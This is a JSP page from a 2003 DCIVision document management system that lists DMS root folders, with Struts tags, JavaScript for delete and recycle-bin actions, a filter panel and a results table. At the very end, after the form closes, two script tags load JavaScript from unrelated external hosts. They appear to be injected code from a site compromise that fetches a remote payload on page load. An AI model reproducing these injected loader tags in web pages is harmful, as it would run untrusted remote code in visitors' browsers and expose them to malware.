<%
/*
 * @(#)ListDmsRoot.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsRoot.jsp

  This is a ListDmsRoot page.

    @author             Rollo Chan
    @company            DCIVision Ltd
    @creation date      13/08/2003
    @version            $Revision: 1.37.2.23 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.core.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsRootForm" scope="request" class="com.dcivision.dms.web.ListDmsRootForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsRootList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"dms.columnheader.root_name", "ROOT_NAME"},
                            {"dms.columnheader.root_desc", "B.DESCRIPTION"},
                            {"dms.columnheader.storage_limit", "STORAGE_LIMIT"},
                            {"dms.columnheader.FolderInfo",GlobalConstant.NOT_AVAILABLE},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.root_name", "ROOT_NAME"},
                            {"dms.label.root_desc", "B.DESCRIPTION"},
                            {"dms.label.storage_limit", "STORAGE_LIMIT"}
                          };

  int     COLUMN_OFFSET = 2;

  String userID = TextUtility.formatIntegerObj(sessionContainer.getUserRecordID());
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<script language="Javascript">
<!--

function hideRelationshipDialog(){
  frameDlg.hide();
}

function doDeleteAction(isIgnore) {
  try {
    document.listDmsRootForm.ignoreDeleteShortcut.value = "false";//(isIgnore ? "true" : "false");
    OpListDelete(document.listDmsRootForm);
  }catch(e) {

  }
  hideRelationshipDialog();
}

function OpCustListDelete(frm){
  var blnNotHasChecked = true;
  var urlQueryString = "";
  if (frm==null) frm = document.listDmsRootForm;
  var form = document.listDmsRootForm;
  var basicSelectedID = document.listDmsRootForm.basicSelectedID;
  if (!basicSelectedID.length) {
    basicSelectedID = new Array(basicSelectedID);
  }
  for (var i=0; i<basicSelectedID.length; i++) {
    if (basicSelectedID[i].checked) {
        //Bill add for EIP-2028 start
        if(basicSelectedID[i].title=="false"){
            alert("<bean:message key='common.message.cannot_deleted_record_operation_aborted'/>");
            return false;
        }
        //Bill add for EIP-2028 end
      blnNotHasChecked = false;
      urlQueryString += (urlQueryString=="" ? "selectID="+basicSelectedID[i].value : "&selectID="+basicSelectedID[i].value);
    }
  }
  if (blnNotHasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }else {
    send_request("<%= request.getContextPath() %>/jsp/dms/GetDmsRelationships2.jsp?"+urlQueryString+"&dmsRoot=true&date="+new Date());
    var relationshipIds = http_request.responseText;
    //var relationshipWarningURL = "RelationshipWarning.do?";
    var relationshipWarningURL = "<%=request.getContextPath()%>/dms/RelationshipWarning.do?";
    if (relationshipIds.indexOf("RETIDS")!=-1) {
      relationshipWarningURL += relationshipIds.substring(relationshipIds.indexOf("RETIDS")+6);
      //OpenCenteredPopup(relationshipWarningURL+"&formName="+frm.name+"&date="+new Date(), "RelationshipWarning", "800", "400", "scrollbars=yes,resizable=no");
      relationshipWarningURL += "&formName="+frm.name+"&date="+new Date();
      frameDlg.setUrl(relationshipWarningURL);
      frameDlg.show();
      return false;
    }else if (relationshipIds.indexOf("ERROR")!=-1) {
      alert("Error cause by:"+relationshipIds);
    }else {
      OpListDelete(frm);
      return false;
    }
  }
}
function OpListRecycle(frm) {
  var hasChecked = false;
  var rootIDAry = "";

  for (var i = 0; i < frm.elements.length; i++) {
    if (frm.elements[i].name == "basicSelectedID") {
      if (frm.elements[i].checked) {
        
        hasChecked = true;
        if (rootIDAry == "") {
          rootIDAry += frm.elements[i].value;
        } else {
          rootIDAry += "," + frm.elements[i].value;
        }
      }
    }
  }

  if (!hasChecked) {
    alert("<bean:message key='common.message.no_record_selected'/>");
    return(false);
  }

  self.location.href = "<%=request.getContextPath()%>/dms/ListDmsRecycleBin.do?curFunctionCode=<%=SystemFunctionConstant.DMS_ADMIN%>&rootIDAry=" + rootIDAry;
  return(false);
}

function PopupListRoot(publicRootID){
    var url = "MaintDmsPublicRootInfoAction.do?navMode=V&rootID=" + publicRootID;
    var name = "DCIVisionPopupDmsPublicRootInfoList";
    var popW = "500";
    var popH = "200";
    var feature = "scrollbars=yes,resizable=yes";
    return OpenCenteredPopup(url, name, popW, popH, feature);
}
-->
</script>

<!-- Form Section Begin -->
<html:form action="dms/ListDmsRoot" method="POST">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property="ignoreDeleteShortcut"/>

<div id='topButtonArea'>
  <div id='buttonSection' class="buttonContainer">
    <html:permissionButton right="R" label="dms.label.personal_storage_limit" link='<%=request.getContextPath() + "/dms/ListDmsPersonalStorageSetup.do"%>'/>
    <%if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_ENABLE_PAPER_DOCUMENT)) {%>
    <html:permissionButton right="R" label="dms.label.group_role_folder_setup" link='<%=request.getContextPath() + "/dms/ListDmsGroupRoleFolder.do"%>'/>
    <%}%>
    <%if (SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_RELATIONAL_WORD_ENABLE)) {%>
    <html:permissionButton right="R" label="dms.label.relational_word_setup" link='<%=request.getContextPath() + "/dms/MaintDmsRelationalWord.do"%>'/>
    <%}%>
    <html:permissionButton right="P" label="dms.label.foldet_structure_import" link='<%=request.getContextPath() + "/dms/MaintFolderStructureLoader.do"%>'/>
  </div>
</div>

<!-- Page List Bar Begin -->
<layout:listBar>
    <div class="button">
          <layout:returnButton className="but-standard"/>
        <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" label="common.label.new" link='<%=request.getContextPath() + "/dms/MaintDmsRoot.do?fromWhom=" + userID%>'/>
        <html:permissionButton styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" label="common.label.delete" onClick="return(OpCustListDelete(listDmsRootForm))"/>        
        <logic:permission right='T'>
          <html:colheaderButton label="dms.label.recycle_bin" onClick="return(OpListRecycle(listDmsRootForm))"/>
          <%=com.dcivision.framework.taglib.logic.PermissionTag.SEPARATOR%>
          <logic:permission right='S'>
            <html:colheaderButton label="dms.label.recycle_bin" onClick="return(OpListRecycle(listDmsRootForm))"/>
            <html:colheaderButton disable='true' label="dms.label.recycle_bin"/>          
          </logic:permission>
        </logic:permission>        
    </div>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);"/></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsRootForm, '${listDmsRootForm.sortAttribute}', '${listDmsRootForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsRootForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listDmsRootForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsRootForm.getSortAttribute()%>" sortOrder="<%=listDmsRootForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="dmsRoot" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <%
    //Bill add for EIP-2028 start
    DocumentValidateManager docRetrievalManager = DocumentValidationFactory.createManager(request,sessionContainer);
    boolean isProgressComplete=docRetrievalManager.isDmsProgressCompletedByRoot((DmsRoot)dmsRoot);
    //Bill add for EIP-2028 end
  %>
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsRoot).getID()%>);">
    <td align="center">
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='dmsRoot' property='ID'/>" onclick="return(false);" title="<%=isProgressComplete%>">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    </td>
    <td align="center">
      <logic:permission right='E'>
      <a href="MaintDmsRoot.do?navMode=E&ID=<bean:write name='dmsRoot' property='ID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <td align="center">
      <logic:permission right='C'>
      <a href="MaintDmsRoot.do?navMode=C&ID=<bean:write name='dmsRoot' property='ID'/>"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <td nowrap>
      <a href="MaintDmsRoot.do?navMode=V&ID=<bean:write name='dmsRoot' property='ID'/>">
      <bean:write name='dmsRoot' property='rootName'/></a>
      <a href='' onmouseover="return getPopupInfo('<bean:message key="user.label.access_right_viewer"/>')" onmouseout="return nd()" onclick='return OpenCenteredPopup("ViewPublicFolderAccess.do?parentID=0&rootID=<bean:write name='dmsRoot' property='ID'/>&SHOW_HEADER_FOOTER=N", "DCIVisionPublidcFolderFunctionList", 600, 520, "scrollbars=yes")'><html:img src='IconAccessViewer.gif'  align='absmiddle'/></a>
    </td>
    <td width="300"><bean:write name='dmsRoot' property='rootDesc'/></td>
    <td><nobr>
      <%if (((DmsRoot)dmsRoot).getStorageLimit()!=null) {
          if (((DmsRoot)dmsRoot).getStorageLimit().doubleValue()!=0.0){
              out.println(TextUtility.formatStorageSize(((DmsRoot)dmsRoot).getStorageLimit(),"MB"));
          } else {%>
              <bean:message key='dms.label.root_unlimit'/>
        <%}
        }%></nobr>
    </td>
    <td class="bodyVerySmall" align="center">
        <a href="#" onclick="javaScript:{PopupListRoot(<bean:write name='dmsRoot' property='ID'/>)};"><html:img src='IconRootInfo.gif' /></a>
    </td>
    <td class="bodyVerySmall" nowrap><bean:write name='dmsRoot' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='dmsRoot' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  <!-- Record Looping End -->
</table>
</div>
<!-- Table Showing Record List End -->

<!-- Pager Information Begin -->
<div class="listStatusBar">
  <layout:pager form="listDmsRootForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->

</html:form>
<!-- Form Section End -->
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>